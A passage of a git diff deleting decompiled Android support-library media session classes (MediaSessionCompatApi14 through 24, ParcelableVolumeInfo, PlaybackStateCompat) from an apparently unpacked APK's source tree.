audioManager.registerMediaButtonEventReceiver(pendingIntent); - } catch (NullPointerException unused) { - Log.w(TAG, "Unable to register media button event receiver with PendingIntent, falling back to ComponentName."); - sIsMbrPendingIntentSupported = false; - } - } - if (sIsMbrPendingIntentSupported) { - return; - } - audioManager.registerMediaButtonEventReceiver(componentName); - } - - public static void unregisterMediaButtonEventReceiver(Context context, PendingIntent pendingIntent, ComponentName componentName) { - AudioManager audioManager = (AudioManager) context.getSystemService("audio"); - if (sIsMbrPendingIntentSupported) { - audioManager.unregisterMediaButtonEventReceiver(pendingIntent); - } else { - audioManager.unregisterMediaButtonEventReceiver(componentName); - } - } - - public static void setState(Object obj, int i, long j, float f, long j2) { - long elapsedRealtime = SystemClock.elapsedRealtime(); - if (i == 3) { - long j3 = 0; - if (j > 0) { - if (j2 > 0) { - j3 = elapsedRealtime - j2; - if (f > 0.0f && f != 1.0f) { - j3 = ((float) j3) * f; - } - } - j += j3; - } - } - ((RemoteControlClient) obj).setPlaybackState(MediaSessionCompatApi14.getRccStateFromState(i), j, f); - } - - public static void setTransportControlFlags(Object obj, long j) { - ((RemoteControlClient) obj).setTransportControlFlags(getRccTransportControlFlagsFromActions(j)); - } - - public static void setOnPlaybackPositionUpdateListener(Object obj, Object obj2) { - ((RemoteControlClient) obj).setPlaybackPositionUpdateListener((RemoteControlClient.OnPlaybackPositionUpdateListener) obj2); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRccTransportControlFlagsFromActions(long j) { - int rccTransportControlFlagsFromActions = MediaSessionCompatApi14.getRccTransportControlFlagsFromActions(j); - return (j & 256) != 0 ? rccTransportControlFlagsFromActions | 256 : rccTransportControlFlagsFromActions; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class OnPlaybackPositionUpdateListener implements RemoteControlClient.OnPlaybackPositionUpdateListener { - protected final T mCallback; - - public OnPlaybackPositionUpdateListener(T t) { - this.mCallback = t; - } - - @Override // android.media.RemoteControlClient.OnPlaybackPositionUpdateListener - public void onPlaybackPositionUpdate(long j) { - this.mCallback.onSeekTo(j); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi19.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi19.java deleted file mode 100644 index 33021e5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi19.java +++ /dev/null @@ -1,79 +0,0 @@ -package android.support.v4.media.session; - -import android.media.Rating; -import android.media.RemoteControlClient; -import android.os.Bundle; -import android.support.v4.media.session.MediaSessionCompatApi18; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi19 { - private static final long ACTION_SET_RATING = 128; - private static final String METADATA_KEY_RATING = "android.media.metadata.RATING"; - private static final String METADATA_KEY_USER_RATING = "android.media.metadata.USER_RATING"; - private static final String METADATA_KEY_YEAR = "android.media.metadata.YEAR"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface Callback extends MediaSessionCompatApi18.Callback { - void onSetRating(Object obj); - } - - MediaSessionCompatApi19() { - } - - public static void setTransportControlFlags(Object obj, long j) { - ((RemoteControlClient) obj).setTransportControlFlags(getRccTransportControlFlagsFromActions(j)); - } - - public static Object createMetadataUpdateListener(Callback callback) { - return new OnMetadataUpdateListener(callback); - } - - public static void setMetadata(Object obj, Bundle bundle, long j) { - RemoteControlClient.MetadataEditor editMetadata = ((RemoteControlClient) obj).editMetadata(true); - MediaSessionCompatApi14.buildOldMetadata(bundle, editMetadata); - addNewMetadata(bundle, editMetadata); - if ((j & 128) != 0) { - editMetadata.addEditableKey(268435457); - } - editMetadata.apply(); - } - - public static void setOnMetadataUpdateListener(Object obj, Object obj2) { - ((RemoteControlClient) obj).setMetadataUpdateListener((RemoteControlClient.OnMetadataUpdateListener) obj2); - } - - static int getRccTransportControlFlagsFromActions(long j) { - int rccTransportControlFlagsFromActions = MediaSessionCompatApi18.getRccTransportControlFlagsFromActions(j); - return (j & 128) != 0 ? rccTransportControlFlagsFromActions | 512 : rccTransportControlFlagsFromActions; - } - - static void addNewMetadata(Bundle bundle, RemoteControlClient.MetadataEditor metadataEditor) { - if (bundle == null) { - return; - } - if (bundle.containsKey("android.media.metadata.YEAR")) { - metadataEditor.putLong(8, bundle.getLong("android.media.metadata.YEAR")); - } - if (bundle.containsKey("android.media.metadata.RATING")) { - metadataEditor.putObject(101, (Object) bundle.getParcelable("android.media.metadata.RATING")); - } - if (bundle.containsKey("android.media.metadata.USER_RATING")) { - metadataEditor.putObject(268435457, (Object) bundle.getParcelable("android.media.metadata.USER_RATING")); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class OnMetadataUpdateListener implements RemoteControlClient.OnMetadataUpdateListener { - protected final T mCallback; - - public OnMetadataUpdateListener(T t) { - this.mCallback = t; - } - - @Override // android.media.RemoteControlClient.OnMetadataUpdateListener - public void onMetadataUpdate(int i, Object obj) { - if (i == 268435457 && (obj instanceof Rating)) { - this.mCallback.onSetRating(obj); - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi21.java deleted file mode 100644 index 1b67ed6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi21.java +++ /dev/null @@ -1,254 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.Context; -import android.content.Intent; -import android.media.AudioAttributes; -import android.media.MediaDescription; -import android.media.MediaMetadata; -import android.media.Rating; -import android.media.VolumeProvider; -import android.media.session.MediaSession; -import android.media.session.PlaybackState; -import android.os.Bundle; -import android.os.Handler; -import android.os.Parcelable; -import android.os.ResultReceiver; -import android.support.v4.media.session.MediaSessionCompatApi19; -import java.util.ArrayList; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface Callback extends MediaSessionCompatApi19.Callback { - void onCommand(String str, Bundle bundle, ResultReceiver resultReceiver); - - void onCustomAction(String str, Bundle bundle); - - void onFastForward(); - - boolean onMediaButtonEvent(Intent intent); - - void onPause(); - - void onPlay(); - - void onPlayFromMediaId(String str, Bundle bundle); - - void onPlayFromSearch(String str, Bundle bundle); - - void onRewind(); - - void onSkipToNext(); - - void onSkipToPrevious(); - - void onSkipToQueueItem(long j); - - void onStop(); - } - - MediaSessionCompatApi21() { - } - - public static Object createSession(Context context, String str) { - return new MediaSession(context, str); - } - - public static Object verifySession(Object obj) { - if (obj instanceof MediaSession) { - return obj; - } - throw new IllegalArgumentException("mediaSession is not a valid MediaSession object"); - } - - public static Object verifyToken(Object obj) { - if (obj instanceof MediaSession.Token) { - return obj; - } - throw new IllegalArgumentException("token is not a valid MediaSession.Token object"); - } - - public static Object createCallback(Callback callback) { - return new CallbackProxy(callback); - } - - public static void setCallback(Object obj, Object obj2, Handler handler) { - ((MediaSession) obj).setCallback((MediaSession.Callback) obj2, handler); - } - - public static void setFlags(Object obj, int i) { - ((MediaSession) obj).setFlags(i); - } - - public static void setPlaybackToLocal(Object obj, int i) { - AudioAttributes.Builder builder = new AudioAttributes.Builder(); - builder.setLegacyStreamType(i); - ((MediaSession) obj).setPlaybackToLocal(builder.build()); - } - - public static void setPlaybackToRemote(Object obj, Object obj2) { - ((MediaSession) obj).setPlaybackToRemote((VolumeProvider) obj2); - } - - public static void setActive(Object obj, boolean z) { - ((MediaSession) obj).setActive(z); - } - - public static boolean isActive(Object obj) { - return ((MediaSession) obj).isActive(); - } - - public static void sendSessionEvent(Object obj, String str, Bundle bundle) { - ((MediaSession) obj).sendSessionEvent(str, bundle); - } - - public static void release(Object obj) { - ((MediaSession) obj).release(); - } - - public static Parcelable getSessionToken(Object obj) { - return ((MediaSession) obj).getSessionToken(); - } - - public static void setPlaybackState(Object obj, Object obj2) { - ((MediaSession) obj).setPlaybackState((PlaybackState) obj2); - } - - public static void setMetadata(Object obj, Object obj2) { - ((MediaSession) obj).setMetadata((MediaMetadata) obj2); - } - - public static void setSessionActivity(Object obj, PendingIntent pendingIntent) { - ((MediaSession) obj).setSessionActivity(pendingIntent); - } - - public static void setMediaButtonReceiver(Object obj, PendingIntent pendingIntent) { - ((MediaSession) obj).setMediaButtonReceiver(pendingIntent); - } - - public static void setQueue(Object obj, List list) { - if (list == null) { - ((MediaSession) obj).setQueue(null); - return; - } - ArrayList arrayList = new ArrayList(); - Iterator it = list.iterator(); - while (it.hasNext()) { - arrayList.add((MediaSession.QueueItem) it.next()); - } - ((MediaSession) obj).setQueue(arrayList); - } - - public static void setQueueTitle(Object obj, CharSequence charSequence) { - ((MediaSession) obj).setQueueTitle(charSequence); - } - - public static void setExtras(Object obj, Bundle bundle) { - ((MediaSession) obj).setExtras(bundle); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CallbackProxy extends MediaSession.Callback { - protected final T mCallback; - - public CallbackProxy(T t) { - this.mCallback = t; - } - - @Override // android.media.session.MediaSession.Callback - public void onCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - this.mCallback.onCommand(str, bundle, resultReceiver); - } - - @Override // android.media.session.MediaSession.Callback - public boolean onMediaButtonEvent(Intent intent) { - return this.mCallback.onMediaButtonEvent(intent) || super.onMediaButtonEvent(intent); - } - - @Override // android.media.session.MediaSession.Callback - public void onPlay() { - this.mCallback.onPlay(); - } - - @Override // android.media.session.MediaSession.Callback - public void onPlayFromMediaId(String str, Bundle bundle) { - this.mCallback.onPlayFromMediaId(str, bundle); - } - - @Override // android.media.session.MediaSession.Callback - public void onPlayFromSearch(String str, Bundle bundle) { - this.mCallback.onPlayFromSearch(str, bundle); - } - - @Override // android.media.session.MediaSession.Callback - public void onSkipToQueueItem(long j) { - this.mCallback.onSkipToQueueItem(j); - } - - @Override // android.media.session.MediaSession.Callback - public void onPause() { - this.mCallback.onPause(); - } - - @Override // android.media.session.MediaSession.Callback - public void onSkipToNext() { - this.mCallback.onSkipToNext(); - } - - @Override // android.media.session.MediaSession.Callback - public void onSkipToPrevious() { - this.mCallback.onSkipToPrevious(); - } - - @Override // android.media.session.MediaSession.Callback - public void onFastForward() { - this.mCallback.onFastForward(); - } - - @Override // android.media.session.MediaSession.Callback - public void onRewind() { - this.mCallback.onRewind(); - } - - @Override // android.media.session.MediaSession.Callback - public void onStop() { - this.mCallback.onStop(); - } - - @Override // android.media.session.MediaSession.Callback - public void onSeekTo(long j) { - this.mCallback.onSeekTo(j); - } - - @Override // android.media.session.MediaSession.Callback - public void onSetRating(Rating rating) { - this.mCallback.onSetRating(rating); - } - - @Override // android.media.session.MediaSession.Callback - public void onCustomAction(String str, Bundle bundle) { - this.mCallback.onCustomAction(str, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class QueueItem { - QueueItem() { - } - - public static Object createItem(Object obj, long j) { - return new MediaSession.QueueItem((MediaDescription) obj, j); - } - - public static Object getDescription(Object obj) { - return ((MediaSession.QueueItem) obj).getDescription(); - } - - public static long getQueueId(Object obj) { - return ((MediaSession.QueueItem) obj).getQueueId(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi22.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi22.java deleted file mode 100644 index 34cc53c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi22.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.MediaSession; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi22 { - MediaSessionCompatApi22() { - } - - public static void setRatingType(Object obj, int i) { - ((MediaSession) obj).setRatingType(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi23.java deleted file mode 100644 index e36e303..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi23.java +++ /dev/null @@ -1,32 +0,0 @@ -package android.support.v4.media.session; - -import android.net.Uri; -import android.os.Bundle; -import android.support.v4.media.session.MediaSessionCompatApi21; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi23 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Callback extends MediaSessionCompatApi21.Callback { - void onPlayFromUri(Uri uri, Bundle bundle); - } - - MediaSessionCompatApi23() { - } - - public static Object createCallback(Callback callback) { - return new CallbackProxy(callback); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CallbackProxy extends MediaSessionCompatApi21.CallbackProxy { - public CallbackProxy(T t) { - super(t); - } - - @Override // android.media.session.MediaSession.Callback - public void onPlayFromUri(Uri uri, Bundle bundle) { - ((Callback) this.mCallback).onPlayFromUri(uri, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi24.java deleted file mode 100644 index 6426d5c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi24.java +++ /dev/null @@ -1,67 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.MediaSession; -import android.net.Uri; -import android.os.Bundle; -import android.support.v4.media.session.MediaSessionCompatApi23; -import android.util.Log; -import java.lang.reflect.InvocationTargetException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi24 { - private static final String TAG = "MediaSessionCompatApi24"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Callback extends MediaSessionCompatApi23.Callback { - void onPrepare(); - - void onPrepareFromMediaId(String str, Bundle bundle); - - void onPrepareFromSearch(String str, Bundle bundle); - - void onPrepareFromUri(Uri uri, Bundle bundle); - } - - MediaSessionCompatApi24() { - } - - public static Object createCallback(Callback callback) { - return new CallbackProxy(callback); - } - - public static String getCallingPackage(Object obj) { - MediaSession mediaSession = (MediaSession) obj; - try { - return (String) mediaSession.getClass().getMethod("getCallingPackage", new Class[0]).invoke(mediaSession, new Object[0]); - } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { - Log.e(TAG, "Cannot execute MediaSession.getCallingPackage()", e); - return null; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CallbackProxy extends MediaSessionCompatApi23.CallbackProxy { - public CallbackProxy(T t) { - super(t); - } - - @Override // android.media.session.MediaSession.Callback - public void onPrepare() { - ((Callback) this.mCallback).onPrepare(); - } - - @Override // android.media.session.MediaSession.Callback - public void onPrepareFromMediaId(String str, Bundle bundle) { - ((Callback) this.mCallback).onPrepareFromMediaId(str, bundle); - } - - @Override // android.media.session.MediaSession.Callback - public void onPrepareFromSearch(String str, Bundle bundle) { - ((Callback) this.mCallback).onPrepareFromSearch(str, bundle); - } - - @Override // android.media.session.MediaSession.Callback - public void onPrepareFromUri(Uri uri, Bundle bundle) { - ((Callback) this.mCallback).onPrepareFromUri(uri, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/ParcelableVolumeInfo.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/ParcelableVolumeInfo.java deleted file mode 100644 index a667bc4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/ParcelableVolumeInfo.java +++ /dev/null @@ -1,55 +0,0 @@ -package android.support.v4.media.session; - -import android.os.Parcel; -import android.os.Parcelable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ParcelableVolumeInfo implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.ParcelableVolumeInfo.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ParcelableVolumeInfo createFromParcel(Parcel parcel) { - return new ParcelableVolumeInfo(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ParcelableVolumeInfo[] newArray(int i) { - return new ParcelableVolumeInfo[i]; - } - }; - public int audioStream; - public int controlType; - public int currentVolume; - public int maxVolume; - public int volumeType; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public ParcelableVolumeInfo(int i, int i2, int i3, int i4, int i5) { - this.volumeType = i; - this.audioStream = i2; - this.controlType = i3; - this.maxVolume = i4; - this.currentVolume = i5; - } - - public ParcelableVolumeInfo(Parcel parcel) { - this.volumeType = parcel.readInt(); - this.controlType = parcel.readInt(); - this.maxVolume = parcel.readInt(); - this.currentVolume = parcel.readInt(); - this.audioStream = parcel.readInt(); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeInt(this.volumeType); - parcel.writeInt(this.controlType); - parcel.writeInt(this.maxVolume); - parcel.writeInt(this.currentVolume); - parcel.writeInt(this.audioStream); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompat.java deleted file mode 100644 index 64cf91d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompat.java +++ /dev/null @@ -1,459 +0,0 @@ -package android.support.v4.media.session; - -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.SystemClock; -import android.support.v4.media.session.PlaybackStateCompatApi21; -import android.text.TextUtils; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PlaybackStateCompat implements Parcelable { - public static final long ACTION_FAST_FORWARD = 64; - public static final long ACTION_PAUSE = 2; - public static final long ACTION_PLAY = 4; - public static final long ACTION_PLAY_FROM_MEDIA_ID = 1024; - public static final long ACTION_PLAY_FROM_SEARCH = 2048; - public static final long ACTION_PLAY_FROM_URI = 8192; - public static final long ACTION_PLAY_PAUSE = 512; - public static final long ACTION_PREPARE = 16384; - public static final long ACTION_PREPARE_FROM_MEDIA_ID = 32768; - public static final long ACTION_PREPARE_FROM_SEARCH = 65536; - public static final long ACTION_PREPARE_FROM_URI = 131072; - public static final long ACTION_REWIND = 8; - public static final long ACTION_SEEK_TO = 256; - public static final long ACTION_SET_RATING = 128; - public static final long ACTION_SKIP_TO_NEXT = 32; - public static final long ACTION_SKIP_TO_PREVIOUS = 16; - public static final long ACTION_SKIP_TO_QUEUE_ITEM = 4096; - public static final long ACTION_STOP = 1; - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.PlaybackStateCompat.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public PlaybackStateCompat createFromParcel(Parcel parcel) { - return new PlaybackStateCompat(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public PlaybackStateCompat[] newArray(int i) { - return new PlaybackStateCompat[i]; - } - }; - private static final int KEYCODE_MEDIA_PAUSE = 127; - private static final int KEYCODE_MEDIA_PLAY = 126; - public static final long PLAYBACK_POSITION_UNKNOWN = -1; - public static final int STATE_BUFFERING = 6; - public static final int STATE_CONNECTING = 8; - public static final int STATE_ERROR = 7; - public static final int STATE_FAST_FORWARDING = 4; - public static final int STATE_NONE = 0; - public static final int STATE_PAUSED = 2; - public static final int STATE_PLAYING = 3; - public static final int STATE_REWINDING = 5; - public static final int STATE_SKIPPING_TO_NEXT = 10; - public static final int STATE_SKIPPING_TO_PREVIOUS = 9; - public static final int STATE_SKIPPING_TO_QUEUE_ITEM = 11; - public static final int STATE_STOPPED = 1; - final long mActions; - final long mActiveItemId; - final long mBufferedPosition; - List mCustomActions; - final CharSequence mErrorMessage; - final Bundle mExtras; - final long mPosition; - final float mSpeed; - final int mState; - private Object mStateObj; - final long mUpdateTime; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Actions { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface MediaKeyAction { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface State { - } - - public static int toKeyCode(long j) { - if (j == 4) { - return 126; - } - if (j == 2) { - return 127; - } - if (j == 32) { - return 87; - } - if (j == 16) { - return 88; - } - if (j == 1) { - return 86; - } - if (j == 64) { - return 90; - } - if (j == 8) { - return 89; - } - return j == 512 ? 85 : 0; - } - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - PlaybackStateCompat(int i, long j, long j2, float f, long j3, CharSequence charSequence, long j4, List list, long j5, Bundle bundle) { - this.mState = i; - this.mPosition = j; - this.mBufferedPosition = j2; - this.mSpeed = f; - this.mActions = j3; - this.mErrorMessage = charSequence; - this.mUpdateTime = j4; - this.mCustomActions = new ArrayList(list); - this.mActiveItemId = j5; - this.mExtras = bundle; - } - - PlaybackStateCompat(Parcel parcel) { - this.mState = parcel.readInt(); - this.mPosition = parcel.readLong(); - this.mSpeed = parcel.readFloat(); - this.mUpdateTime = parcel.readLong(); - this.mBufferedPosition = parcel.readLong(); - this.mActions = parcel.readLong(); - this.mErrorMessage = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mCustomActions = parcel.createTypedArrayList(CustomAction.CREATOR); - this.mActiveItemId = parcel.readLong(); - this.mExtras = parcel.readBundle(); - } - - public String toString() { - StringBuilder sb = new StringBuilder("PlaybackState {state="); - sb.append(this.mState); - sb.append(", position=").append(this.mPosition); - sb.append(", buffered position=").append(this.mBufferedPosition); - sb.append(", speed=").append(this.mSpeed); - sb.append(", updated=").append(this.mUpdateTime); - sb.append(", actions=").append(this.mActions); - sb.append(", error=").append(this.mErrorMessage); - sb.append(", custom actions=").append(this.mCustomActions); - sb.append(", active item id=").append(this.mActiveItemId); - sb.append("}"); - return sb.toString(); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeInt(this.mState); - parcel.writeLong(this.mPosition); - parcel.writeFloat(this.mSpeed); - parcel.writeLong(this.mUpdateTime); - parcel.writeLong(this.mBufferedPosition); - parcel.writeLong(this.mActions); - TextUtils.writeToParcel(this.mErrorMessage, parcel, i); - parcel.writeTypedList(this.mCustomActions); - parcel.writeLong(this.mActiveItemId); - parcel.writeBundle(this.mExtras); - } - - public int getState() { - return this.mState; - } - - public long getPosition() { - return this.mPosition; - } - - public long getBufferedPosition() { - return this.mBufferedPosition; - } - - public float getPlaybackSpeed() { - return this.mSpeed; - } - - public long getActions() { - return this.mActions; - } - - public List getCustomActions() { - return this.mCustomActions; - } - - public CharSequence getErrorMessage() { - return this.mErrorMessage; - } - - public long getLastPositionUpdateTime() { - return this.mUpdateTime; - } - - public long getActiveQueueItemId() { - return this.mActiveItemId; - } - - public Bundle getExtras() { - return this.mExtras; - } - - public static PlaybackStateCompat fromPlaybackState(Object obj) { - ArrayList arrayList = null; - if (obj != null) { - List customActions = PlaybackStateCompatApi21.getCustomActions(obj); - if (customActions != null) { - arrayList = new ArrayList(customActions.size()); - for (Object obj2 : customActions) { - arrayList.add(CustomAction.fromCustomAction(obj2)); - } - } - Bundle extras = PlaybackStateCompatApi22.getExtras(obj); - PlaybackStateCompat playbackStateCompat = new PlaybackStateCompat(PlaybackStateCompatApi21.getState(obj), PlaybackStateCompatApi21.getPosition(obj), PlaybackStateCompatApi21.getBufferedPosition(obj), PlaybackStateCompatApi21.getPlaybackSpeed(obj), PlaybackStateCompatApi21.getActions(obj), PlaybackStateCompatApi21.getErrorMessage(obj), PlaybackStateCompatApi21.getLastPositionUpdateTime(obj), arrayList, PlaybackStateCompatApi21.getActiveQueueItemId(obj), extras); - playbackStateCompat.mStateObj = obj; - return playbackStateCompat; - } - return null; - } - - public Object getPlaybackState() { - ArrayList arrayList; - Object obj = this.mStateObj; - if (obj == null) { - if (this.mCustomActions != null) { - arrayList = new ArrayList(this.mCustomActions.size()); - for (CustomAction customAction : this.mCustomActions) { - arrayList.add(customAction.getCustomAction()); - } - } else { - arrayList = null; - } - Object newInstance = PlaybackStateCompatApi22.newInstance(this.mState, this.mPosition, this.mBufferedPosition, this.mSpeed, this.mActions, this.mErrorMessage, this.mUpdateTime, arrayList, this.mActiveItemId, this.mExtras); - this.mStateObj = newInstance; - return newInstance; - } - return obj; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class CustomAction implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.PlaybackStateCompat.CustomAction.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public CustomAction createFromParcel(Parcel parcel) { - return new CustomAction(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public CustomAction[] newArray(int i) { - return new CustomAction[i]; - } - }; - private final String mAction; - private Object mCustomActionObj; - private final Bundle mExtras; - private final int mIcon; - private final CharSequence mName; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - CustomAction(String str, CharSequence charSequence, int i, Bundle bundle) { - this.mAction = str; - this.mName = charSequence; - this.mIcon = i; - this.mExtras = bundle; - } - - CustomAction(Parcel parcel) { - this.mAction = parcel.readString(); - this.mName = (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel); - this.mIcon = parcel.readInt(); - this.mExtras = parcel.readBundle(); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeString(this.mAction); - TextUtils.writeToParcel(this.mName, parcel, i); - parcel.writeInt(this.mIcon); - parcel.writeBundle(this.mExtras); - } - - public static CustomAction fromCustomAction(Object obj) { - if (obj != null) { - CustomAction customAction = new CustomAction(PlaybackStateCompatApi21.CustomAction.getAction(obj), PlaybackStateCompatApi21.CustomAction.getName(obj), PlaybackStateCompatApi21.CustomAction.getIcon(obj), PlaybackStateCompatApi21.CustomAction.getExtras(obj)); - customAction.mCustomActionObj = obj; - return customAction; - } - return null; - } - - public Object getCustomAction() { - Object obj = this.mCustomActionObj; - if (obj == null) { - Object newInstance = PlaybackStateCompatApi21.CustomAction.newInstance(this.mAction, this.mName, this.mIcon, this.mExtras); - this.mCustomActionObj = newInstance; - return newInstance; - } - return obj; - } - - public String getAction() { - return this.mAction; - } - - public CharSequence getName() { - return this.mName; - } - - public int getIcon() { - return this.mIcon; - } - - public Bundle getExtras() { - return this.mExtras; - } - - public String toString() { - return "Action:mName='" + ((Object) this.mName) + ", mIcon=" + this.mIcon + ", mExtras=" + this.mExtras; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private final String mAction; - private Bundle mExtras; - private final int mIcon; - private final CharSequence mName; - - public Builder(String str, CharSequence charSequence, int i) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("You must specify an action to build a CustomAction."); - } - if (TextUtils.isEmpty(charSequence)) { - throw new IllegalArgumentException("You must specify a name to build a CustomAction."); - } - if (i == 0) { - throw new IllegalArgumentException("You must specify an icon resource id to build a CustomAction."); - } - this.mAction = str; - this.mName = charSequence; - this.mIcon = i; - } - - public Builder setExtras(Bundle bundle) { - this.mExtras = bundle; - return this; - } - - public CustomAction build() { - return new CustomAction(this.mAction, this.mName, this.mIcon, this.mExtras); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private long mActions; - private long mActiveItemId; - private long mBufferedPosition; - private final List mCustomActions; - private CharSequence mErrorMessage; - private Bundle mExtras; - private long mPosition; - private float mRate; - private int mState; - private long mUpdateTime; - - public Builder() { - this.mCustomActions = new ArrayList(); - this.mActiveItemId = -1L; - } - - public Builder(PlaybackStateCompat playbackStateCompat) { - ArrayList arrayList = new ArrayList(); - this.mCustomActions = arrayList; - this.mActiveItemId = -1L; - this.mState = playbackStateCompat.mState; - this.mPosition = playbackStateCompat.mPosition; - this.mRate = playbackStateCompat.mSpeed; - this.mUpdateTime = playbackStateCompat.mUpdateTime; - this.mBufferedPosition = playbackStateCompat.mBufferedPosition; - this.mActions = playbackStateCompat.mActions; - this.mErrorMessage = playbackStateCompat.mErrorMessage; - if (playbackStateCompat.mCustomActions != null) { - arrayList.addAll(playbackStateCompat.mCustomActions); - } - this.mActiveItemId = playbackStateCompat.mActiveItemId; - this.mExtras = playbackStateCompat.mExtras; - } - - public Builder setState(int i, long j, float f) { - return setState(i, j, f, SystemClock.elapsedRealtime()); - } - - public Builder setState(int i, long j, float f, long j2) { - this.mState = i; - this.mPosition = j; - this.mUpdateTime = j2; - this.mRate = f; - return this; - } - - public Builder setBufferedPosition(long j) { - this.mBufferedPosition = j; - return this; - } - - public Builder setActions(long j) { - this.mActions = j; - return this; - } - - public Builder addCustomAction(String str, String str2, int i) { - return addCustomAction(new CustomAction(str, str2, i, null)); - } - - public Builder addCustomAction(CustomAction customAction) { - if (customAction == null) { - throw new IllegalArgumentException("You may not add a null CustomAction to PlaybackStateCompat."); - } - this.mCustomActions.add(customAction); - return this; - } - - public Builder setActiveQueueItemId(long j) { - this.mActiveItemId = j; - return this; - } - - public Builder setErrorMessage(CharSequence charSequence) { - this.mErrorMessage = charSequence; - return this; - } - - public Builder setExtras(Bundle bundle) { - this.mExtras = bundle; - return this; - } - - public PlaybackStateCompat build() { - return new PlaybackStateCompat(this.mState, this.mPosition, this.mBufferedPosition, this.mRate, this.mActions, this.mErrorMessage, this.mUpdateTime, 